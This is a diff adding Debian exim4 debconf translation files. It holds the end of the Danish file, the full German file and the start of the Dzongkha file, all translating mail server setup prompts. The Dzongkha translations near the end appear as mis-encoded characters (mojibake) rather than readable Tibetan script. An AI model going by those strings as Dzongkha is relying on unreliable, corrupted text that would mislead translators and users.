+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"Exim kan gemme lokalt leveret post i forskellige formater. De mest benyttede "
+"er mbox og Maildir. mbox benytter en enkelt fil til hele brevbakken, der "
+"gemmes i /var/mail/. I Maildir-formatet bliver brevene gemt i hver sin fil i "
+"~/Maildir/."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"Bemærk, at de fleste postværktøjer i Debian som udgangspunkt forventer, at "
+"den lokale post leveres i mbox-formatet."
diff --git a/debian/po/de.po b/debian/po/de.po
new file mode 100644
index 0000000..7e1212d
--- /dev/null
+++ b/debian/po/de.po
@@ -0,0 +1,690 @@
+# translation of exim4_4.69-2_de.po to German
+#
+# Translators, if you are not familiar with the PO format, gettext
+# documentation is worth reading, especially sections dedicated to
+# this format, e.g. by running:
+# info -n '(gettext)PO Files'
+# info -n '(gettext)Header Entry'
+#
+# Some information specific to po-debconf are available at
+# /usr/share/doc/po-debconf/README-trans
+# or http://www.debian.org/intl/l10n/po-debconf/README-trans
+#
+# Developers do not need to manually edit POT or PO files.
+# Andreas Metzler <ametzler@debian.org>
+# Dennis Stampfer <seppy@debian.org>
+#
+# Erik Schanze <eriks@debian.org>, 2006 - 2008.
+msgid ""
+msgstr ""
+"Project-Id-Version: exim4_4.69-2_de\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2008-01-26 19:33+0100\n"
+"Last-Translator: Erik Schanze <eriks@debian.org>\n"
+"Language-Team: German <debian-l10n-german@lists.debian.org>\n"
+"Language: de\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Generator: KBabel 1.11.4\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr "Nicht zugestellte E-Mails im »spool«-Verzeichnis löschen?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"In Exims »spool«-Verzeichnis /var/spool/exim4/input/ befinden sich noch E-"
+"Mails, die noch nicht zugestellt wurden. Wenn Sie Exim entfernen, verbleiben "
+"sie dort als nicht zugestellt, bis Exim wieder installiert wird."
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"Wenn Sie dieser Auswahl nicht zustimmen, bleibt das »spool«-Verzeichnis "
+"bestehen. Dadurch können die Mitteilungen in der Warteschlange später "
+"zugestellt werden, nachdem Exim wieder installiert wurde."
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "Exim4-config anstelle dieses Pakets neu einrichten"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"Die Einstellungen von Exim4 wurden in ein eigenes Paket, exim4-config, "
+"ausgelagert. Benutzen Sie den Befehl 'dpkg-reconfigure exim4-config', um "
+"Exim4 neu einzurichten."
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr ""
+"Internet-Server; E-Mails werden direkt über SMTP verschickt und empfangen"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr ""
+"Versand über Sendezentrale (Smarthost); Empfang mit SMTP oder Fetchmail"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "Versand über Sendezentrale (Smarthost); keine lokale E-Mail-Zustellung"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "Nur lokale E-Mail-Zustellung; keine Netzwerkverbindung"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "Keine Festlegung zum jetzigen Zeitpunkt"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "Generelle E-Mail-Einstellungen:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr ""
+"Bitte wählen Sie die Einstellung des E-Mail-Servers, die Ihren Bedürfnissen "
+"am besten entspricht."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"Systeme mit wechselnder IP-Adresse, einschließlich Systeme mit "
+"Einwahlzugängen, sollten ausgehende E-Mails immer an einen anderen Rechner, "
+"Sendezentrale (»Smarthost«) genannt, zum Versenden weitergeben, weil viele "
+"Empfänger im Internet ankommende E-Mails von wechselnden IP-Adressen zum "
+"Schutz vor unerwünschten E-Mails (Spam) ablehnen."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"Ein System mit wechselnder IP-Adresse kann selbst E-Mails empfangen oder die "
+"lokale Zustellung kann abgeschaltet werden (außer E-Mails für die Benutzer "
+"root und postmaster)."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "Soll das E-Mail-System wirklich nicht eingerichtet werden?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"Das E-Mail-System ist nicht funktionsfähig, bis Sie es einrichten. Sie "
+"können Exim später manuell einrichten oder als Benutzer root den Befehl "
+"'dpkg-reconfigure exim4-config' aufrufen."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "E-Mail-Name des Systems:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"Der »E-Mail-Name« ist der Domänenname, der für E-Mail-Adressen, die keinen "
+"Domänennamen haben, verwendet wird."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"Dieser Name wird auch von anderen Programmen genutzt. Er sollte der "
+"eindeutige, vollqualifizierte Domänenname (FQDN) sein."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"Wenn also foo@example.org eine E-Mail-Adresse auf dem lokalen Rechner ist, "
+"dann ist hier »example.org« richtig."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"Dieser Name taucht nicht in der Absender-Zeile (From:) ausgehender E-Mails "
+"auf, wenn »Umschreiben« (rewriting) aktiviert wird."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "Weitere Ziele, für die E-Mails angenommen werden sollen:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"Bitte geben Sie eine durch Semikolon getrennte Liste der Empfänger-Domänen "
+"an, für die dieser Rechner das endgültige Ziel sein soll. Diese Domänen "
+"werden allgemein als »lokale Domänen« (local domains) bezeichnet. Der lokale "
+"Rechnername (${fqdn}) und »localhost« werden auch noch an die hier "
+"eingegebene Liste angehängt."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"Laut Voreinstellung werden alle angeführten Domänen gleich behandelt. Wenn a."
+"beispiel und b.beispiel lokale Domänen sind, werden E-Mails an acc@a."
+"beispiel und acc@b.beispiel an dasselbe endgültige Ziel geschickt. Wenn "
+"unterschiedliche Domänen unterschiedlich behandelt werden sollen, müssen Sie "
+"die Konfigurationsdateien nachher selbst bearbeiten."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "Domänen, für die dieser Rechner E-Mails weiterleitet (Relay):"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"Bitte geben Sie eine durch Semikolon getrennte Liste der Empfängerdomänen "
+"an, für die dieser Rechner E-Mails weiterleiten soll, z. B. als E-Mail-"
+"Server (MX) in Reserve oder E-Mail-Knoten. Das bedeutet, dass das System E-"
+"Mails für diese Domänen von überall aus dem Internet annimmt und anhand "
+"lokaler Regeln zustellt."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr ""
+"Geben Sie keine lokalen Domänen ein. Platzhalter können benutzt werden."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "Rechner, für die E-Mails weitergeleitet werden (Relay):"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"Bitte geben Sie eine durch Semikolon getrennte Liste der IP-Adressbereiche "
+"ein, für die das System E-Mails, in der Funktion einer Sendezentrale "
+"(Smarthost), bedingungslos weiterleiten soll."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"Sie sollten das Standardformat »Adresse/Maske« (z. B. 194.222.242.0/24 oder "
+"5f03:1200:836f::/48) verwenden."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+"Wenn das System nicht als Sendezentrale (Smarthost) für andere Rechner "
+"arbeiten soll, lassen Sie die Liste leer."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "Sichtbarer Domänenname für lokale Benutzer:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"Die Möglichkeit, den lokalen E-Mail-Namen in ausgehenden E-Mails zu "
+"verbergen, wurde ausgewählt. Deshalb ist es erforderlich, den Domänennamen "
+"anzugeben, den das System als Domänenteil der Absenderadresse lokaler "
+"Benutzer verwendet."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "IP-Adresse oder Rechnername der Sendezentrale für ausgehende E-Mails:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"Bitte geben Sie die IP-Adresse oder den Rechnernamen eines E-Mail-Servers "
+"ein, den dieses System als ausgehende Sendezentrale (Smarthost) benutzen "
+"soll. Wenn die Sendezentrale Ihre E-Mails nur an einem anderen Port als "
+"TCP/25 annimmt, hängen Sie zwei Doppelpunkte und die Portnummer an (z. B. "
+"sendezentrale.beispiel::587 oder 192.168.254.254::2525). Die Doppelpunkte "
+"müssen in IPv6-Adressen verdoppelt werden."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"Wenn die Sendezentrale eine Authentifizierung erfordert, finden Sie in den "
+"Debian-spezifischen README-Dateien im Verzeichnis /usr/share/doc/exim4-base "
+"Hinweise zum Einrichten der SMTP-Authentifizierung."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "Empfänger der E-Mails an die Benutzer root und postmaster:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"E-Mails an die Benutzer »postmaster«, »root« und andere Systembenutzer-"
+"Konten müssen an das Benutzerkonto des momentanen Systemadministrators "
+"umgeleitet werden."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"Wenn dieser Wert leer bleibt, werden diese E-Mails im Verzeichnis /var/mail/"
+"mail abgelegt, was nicht zu empfehlen ist."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"Beachten Sie, dass die E-Mails für »postmaster« lokal gelesen und nicht auf "
+"ein anderes System weitergeleitet werden sollten, daher sollten alle (oder "
+"mindestens einer) der angegebenen Benutzer seine bzw. ihre E-Mails nicht "
+"nach außerhalb weiterleiten. Verwenden Sie den Vorsatz »real-« um lokale "
+"Zustellung zu erzwingen."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr "Mehrere Benutzernamen müssen durch Leerzeichen getrennt werden."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "IP-Adressen, an denen eingehende SMTP-Verbindungen erwartet werden:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"Bitte geben Sie eine durch Semikolon getrennte Liste von IP-Adressen ein. "
+"Der SMTP-Empfangsdienst von Exim wird an allen aufgelisteten IP-Adressen auf "
+"eingehende SMTP-Verbindungen warten."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"Wenn Sie die Liste leer lassen, wird Exim an allen verfügbaren "
+"Netzwerkschnittstellen auf eingehende SMTP-Verbindungen warten."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"Wenn dieses System E-Mails nur direkt von lokalen Diensten (und nicht von "
+"anderen Rechnern) empfängt, sollten Sie Verbindungen externer Rechner zum "
+"lokalen Exim verhindern. Diese Dienste umfassen auch E-Mail-Programme "
+"(MUAs), die mit »localhost« kommunizieren, sowie Fetchmail. Externe "
+"Verbindungen sind nicht möglich, wenn Sie an dieser Stelle 127.0.0.1 "
+"eingeben, denn damit verhindern Sie, dass Exim an externen "
+"Netzwerkschnittstellen auf Verbindungen wartet."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "DNS-Anfragen minimieren (Automatische Einwahl, Dial-on-Demand)?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"Normalerweise führt Exim beim Start, beim Empfangen oder beim Zustellen von "
+"Nachrichten DNS-Abfragen durch. Das geschieht für die Protokolldatei und um "
+"die Anzahl fest eingetragener Werte in den Einstellungen klein zu halten."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"Wenn dieser Rechner keinen dauerhaften Zugang zu DNS-Servern hat (z. B. sich "
+"die Internetverbindung bei versuchtem Zugriff auf das Netz automatisch "
+"aufbaut (Dial-on-Demand)), kann das ungewollte Auswirkungen haben. "
+"Beispielsweise kann das Starten von Exim oder das Abarbeiten der "
+"Warteschlange (sogar, wenn diese leer ist) zu einer kostenpflichtigen "
+"Einwahl führen."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"Sie sollten hier zustimmen, wenn Ihr System einen automatischen "
+"Verbindungsaufbau ins Internet benutzt. Wenn Sie eine ständige "
+"Internetverbindung haben, sollten Sie hier ablehnen."
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "Einrichten des E-Mail-Servers"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "Einstellungen auf kleine Dateien aufteilen?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"Die Debian-Exim4-Pakete können entweder »zusammenhängende Einstellungen« in "
+"einer großen Datei (/etc/exim4/exim4.conf.template) oder »aufgeteilte "
+"Einstellungen« verwenden, bei denen die aktuellen Exim-Einstellungen aus "
+"rund 50 kleinen Dateien im Verzeichnis /etc/exim4/conf.d/ zusammengesetzt "
+"werden."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"Zusammenhängende Einstellungen eignen sich besser für größere Modifikationen "
+"und sind grundsätzlich robuster, während aufgeteilte Einstellungen es "
+"ermöglichen, mit geringem Aufwand kleine Änderungen vorzunehmen. Das ist "
+"allerdings auch anfälliger und könnte bei nicht sorgfältigen Änderungen "
+"nicht mehr funktionieren."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"Eine ausführlichere Gegenüberstellung der zusammenhängenden und aufgeteilten "
+"Einstellungen finden Sie in den Debian-spezifischen README-Dateien im "
+"Verzeichnis /usr/share/doc/exim4-base."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "Lokalen E-Mail-Namen in ausgehenden E-Mails verbergen?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"Die Kopfzeilen ausgehender E-Mails können umgeschrieben werden, so dass es "
+"scheint, als ob sie auf einem anderen Rechner erstellt wurden. Wenn Sie hier "
+"zustimmen, werden »${mailname}«, »localhost« und »${dc_other_hostnames}« in "
+"den Zeilen From, Reply-To, Sender und Return-Path ersetzt."
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "Mbox-Format in /var/mail/"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "Maildir-Format im Home-Verzeichnis"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "Versandart bei lokaler E-Mail-Zustellung:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"Exim kann lokal zugestellte E-Mails in verschiedenen Formaten abspeichern. "
+"Am häufigsten werden Mbox und Maildir benutzt. Mbox speichert den gesamten E-"
+"Mail-Ordner in einer Datei im Verzeichnis /var/mail/. Beim Format Maildir "
+"wird jede einzelne E-Mail in einer eigenen Datei im Verzeichnis ~/Maildir/ "
+"abgelegt."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"Bitte beachten Sie, dass die meisten E-Mail-Programme in Debian das Format "
+"Mbox als Standardeinstellung für lokale E-Mail-Zustellung erwarten."
+
+#~ msgid "Move undelivered mails from exim 3 to exim4 spool?"
+#~ msgstr ""
+#~ "Nicht zugestellte E-Mails vom Exim-3- ins Exim4-»spool«-Verzeichnis "
+#~ "verschieben?"
+
+#~ msgid ""
+#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool "
+#~ "directory /var/spool/exim/input/."
+#~ msgstr ""
+#~ "Es befinden sich noch nicht zugestellte E-Mails im »spool«-Verzeichnis /"
+#~ "var/spool/exim/input/ von Exim 3 (oder Exim-tls 3)."
+
+#~ msgid ""
+#~ "Choosing this option will move these messages to exim4's spool (/var/"
+#~ "spool/exim4/input/) where they will be handled by exim4."
+#~ msgstr ""
+#~ "Wenn Sie dieser Auswahl zustimmen, werden diese Mitteilungen in das "
+#~ "»spool«-Verzeichnis vom Exim4 (/var/spool/exim4/input/) verschoben. Dort "
+#~ "werden sie dann von Exim4 verarbeitet."
+
+#~ msgid ""
+#~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-"
+#~ "versa. If you reject this option, you need to move the messages yourself "
+#~ "or they will never be delivered."
+#~ msgstr ""
+#~ "Das funktioniert allerdings nur in einer Richtung: Exim4 kann die "
+#~ "Warteschlange von Exim 3 verarbeiten, aber nicht umgekehrt. Wenn Sie hier "
+#~ "nicht zustimmen, müssen Sie die Mitteilungen selbst verschieben oder sie "
+#~ "werden nicht zugestellt."
+
+#~ msgid "Leaving this list blank will have Exim do no local deliveries."
+#~ msgstr "Eine leere Liste verhindert die lokale Zustellung."
diff --git a/debian/po/dz.po b/debian/po/dz.po
new file mode 100644
index 0000000..6b6c989
--- /dev/null
+++ b/debian/po/dz.po
@@ -0,0 +1,814 @@
+# SOME DESCRIPTIVE TITLE.
+# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER
+# This file is distributed under the same license as the PACKAGE package.
+# Dorji Tashi <dorjee_doss@hotmail.com>, 2006.
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: exim4_debian_po\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2007-12-11 17:31+0530\n"
+"Last-Translator: Jurmey Rabgay <jur_gay@yahoo.com>\n"
+"Language-Team: Dzongkha <pgeyleg@dit.gov.bt>\n"
+"Language: dz\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=utf-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Country: Bhutan\n"
+"X-Poedit-SourceCharset: utf-8\n"
+"Plural-Forms: nplurals=2; plural=(n!=1)\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr "འཕྲལ་གསོག་སྣོད་à½à½¼à¼‹à½“ང་ལུ་ མ་སà¾à¾±à½ºà½£à¼‹à½–་ཡོད་མི་ཡིག་འཕྲིན་ཚུ་ རྩ་བསà¾à¾²à½‘་གà½à½„་ནི་ཨིན་ན?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"ཨེག་ཟིམ་འཕྲལ་གསོག་སྣོད་à½à½¼à¼‹ /var/spool/exim4/input/ ནང་ལུ་ ད་ལྟོ་ཡང་མ་སà¾à¾±à½ºà½£à¼‹à½–་ཡོད་མི་ཡིག་འཕྲིན་"
+"ཚུ་འདུག ཨེག་ཟིམ་རྩ་བསà¾à¾²à½‘་བà½à½„་མི་འདི་གིས་ དེ་ཚུ་ཨེག་ཟིམ་སླར་གཞི་སྒྲིག་མ་འབད་ཚུན་ འགྲེམ་སྤེལ་མ་འབད་བར་"
+"ལུསཔ་ཨིནà¼"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"གདམ་à½à¼‹à½ à½‘ི་མ་གདམ་པ་ཅིན་ འཕྲལ་གསོག་སྣོད་à½à½¼à¼‹à½ à½‘ི་ ཨེག་ཟིམ་སླར་གཞི་བཙུགས་འབད་བའི་ཤུལ་ལུ་ གྲལ་རིམ་"
+"ནང་ཡོད་པའི་འཕྲིན་དོན་ཚུ་ འགྲེམ་སྤེལ་འབད་བཅུགཔ་ཨིན༠"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "à½à½´à½˜à¼‹à½¦à¾’ྲིལ་འདི་གི་ཚབ་ལུ་ exim4-config སླར་རིམ་སྒྲིག་འབདà¼"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
